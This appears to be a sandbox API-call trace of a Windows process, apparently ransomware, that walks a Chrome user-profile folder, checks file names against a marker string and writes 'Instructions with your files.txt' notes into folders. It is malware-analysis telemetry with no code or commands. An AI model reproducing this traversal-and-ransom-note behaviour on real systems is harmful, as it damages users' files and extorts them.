[0130.399] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8687f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8687f510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuotaManager-journal", cAlternateFileName="QUOTAM~2")) returned 1
[0130.400] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal") returned 100
[0130.400] StrStrIW (lpFirst="QuotaManager-journal", lpSrch="SDfghjkl") returned 0x0
[0130.400] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f846500, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f846500, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="README", cAlternateFileName="")) returned 1
[0130.400] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README") returned 86
[0130.400] StrStrIW (lpFirst="README", lpSrch="SDfghjkl") returned 0x0
[0130.400] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857e1690, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c3f38f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c404a60, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8b43, dwReserved0=0x0, dwReserved1=0x0, cFileName="Secure Preferences", cAlternateFileName="SECURE~1")) returned 1
[0130.401] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences") returned 98
[0130.401] StrStrIW (lpFirst="Secure Preferences", lpSrch="SDfghjkl") returned 0x0
[0130.401] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8218d350, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8218d350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82271b90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shortcuts", cAlternateFileName="SHORTC~1")) returned 1
[0130.401] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts") returned 89
[0130.401] StrStrIW (lpFirst="Shortcuts", lpSrch="SDfghjkl") returned 0x0
[0130.401] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8218d350, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8218d350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x822e3fb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shortcuts-journal", cAlternateFileName="SHORTC~2")) returned 1
[0130.401] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal") returned 97
[0130.401] StrStrIW (lpFirst="Shortcuts-journal", lpSrch="SDfghjkl") returned 0x0
[0130.401] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84251e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84251e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sync Extension Settings", cAlternateFileName="SYNCEX~1")) returned 1
[0130.401] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings") returned 103
[0130.401] GetProcessHeap () returned 0x810000
[0130.401] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0130.401] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\*") returned 105
[0130.401] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84251e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84251e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0130.402] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\.") returned 105
[0130.402] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84251e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84251e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.402] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\..") returned 106
[0130.402] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8448d2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8448d2b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkedcjkdefgpdelpbcmbmeomcjbeemfm", cAlternateFileName="PKEDCJ~1")) returned 1
[0130.402] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm") returned 136
[0130.402] GetProcessHeap () returned 0x810000
[0130.402] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0130.402] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\*") returned 138
[0130.402] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8448d2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8448d2b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0130.404] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\.") returned 138
[0130.404] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8448d2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8448d2b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.404] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\..") returned 139
[0130.404] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8448d2b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8448d2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8448d2b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1
[0130.404] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log") returned 147
[0130.404] StrStrIW (lpFirst="000003.log", lpSrch="SDfghjkl") returned 0x0
[0130.404] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84254520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84254520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84254520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1
[0130.404] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT") returned 144
[0130.404] StrStrIW (lpFirst="CURRENT", lpSrch="SDfghjkl") returned 0x0
[0130.404] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84254520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84254520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84254520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1
[0130.404] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK") returned 141
[0130.404] StrStrIW (lpFirst="LOCK", lpSrch="SDfghjkl") returned 0x0
[0130.404] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84254520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84254520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x93935fb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG", cAlternateFileName="")) returned 1
[0130.404] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG") returned 140
[0130.404] StrStrIW (lpFirst="LOG", lpSrch="SDfghjkl") returned 0x0
[0130.405] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84254520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84254520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84254520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 1
[0130.405] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001") returned 152
[0130.405] StrStrIW (lpFirst="MANIFEST-000001", lpSrch="SDfghjkl") returned 0x0
[0130.405] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84254520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84254520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84254520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 0
[0130.405] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\Instructions with your files.txt") returned 169
[0130.405] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0130.405] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0130.406] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0130.406] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0130.406] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0130.406] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0130.406] CloseHandle (hObject=0x128) returned 1
[0130.406] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0130.406] GetProcessHeap () returned 0x810000
[0130.406] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0130.406] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8448d2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8448d2b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkedcjkdefgpdelpbcmbmeomcjbeemfm", cAlternateFileName="PKEDCJ~1")) returned 0
[0130.407] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\Instructions with your files.txt") returned 136
[0130.407] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0130.407] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0130.408] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0130.408] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0130.408] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0130.408] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0130.408] CloseHandle (hObject=0x124) returned 1
[0130.408] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0130.408] GetProcessHeap () returned 0x810000
[0130.408] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0130.408] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80d66840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80d66840, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8195e7b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Top Sites", cAlternateFileName="TOPSIT~1")) returned 1
[0130.408] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites") returned 89
[0130.408] StrStrIW (lpFirst="Top Sites", lpSrch="SDfghjkl") returned 0x0
[0130.408] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80d8c9a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80d8c9a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81984910, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Top Sites-journal", cAlternateFileName="TOPSIT~2")) returned 1
[0130.408] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal") returned 97
[0130.408] StrStrIW (lpFirst="Top Sites-journal", lpSrch="SDfghjkl") returned 0x0
[0130.409] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x88c2e920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x88c2e920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x88c2e920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x278, dwReserved0=0x0, dwReserved1=0x0, cFileName="TransportSecurity", cAlternateFileName="TRANSP~1")) returned 1
[0130.409] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity") returned 97
[0130.409] StrStrIW (lpFirst="TransportSecurity", lpSrch="SDfghjkl") returned 0x0
[0130.409] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80ee3600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80ee3600, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8c6cde50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visited Links", cAlternateFileName="VISITE~1")) returned 1
[0130.409] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links") returned 93
[0130.409] StrStrIW (lpFirst="Visited Links", lpSrch="SDfghjkl") returned 0x0
[0130.409] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x868593b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x868593b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Applications", cAlternateFileName="WEBAPP~1")) returned 1
[0130.409] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications") returned 96
[0130.409] GetProcessHeap () returned 0x810000
[0130.409] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0130.409] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\*") returned 98
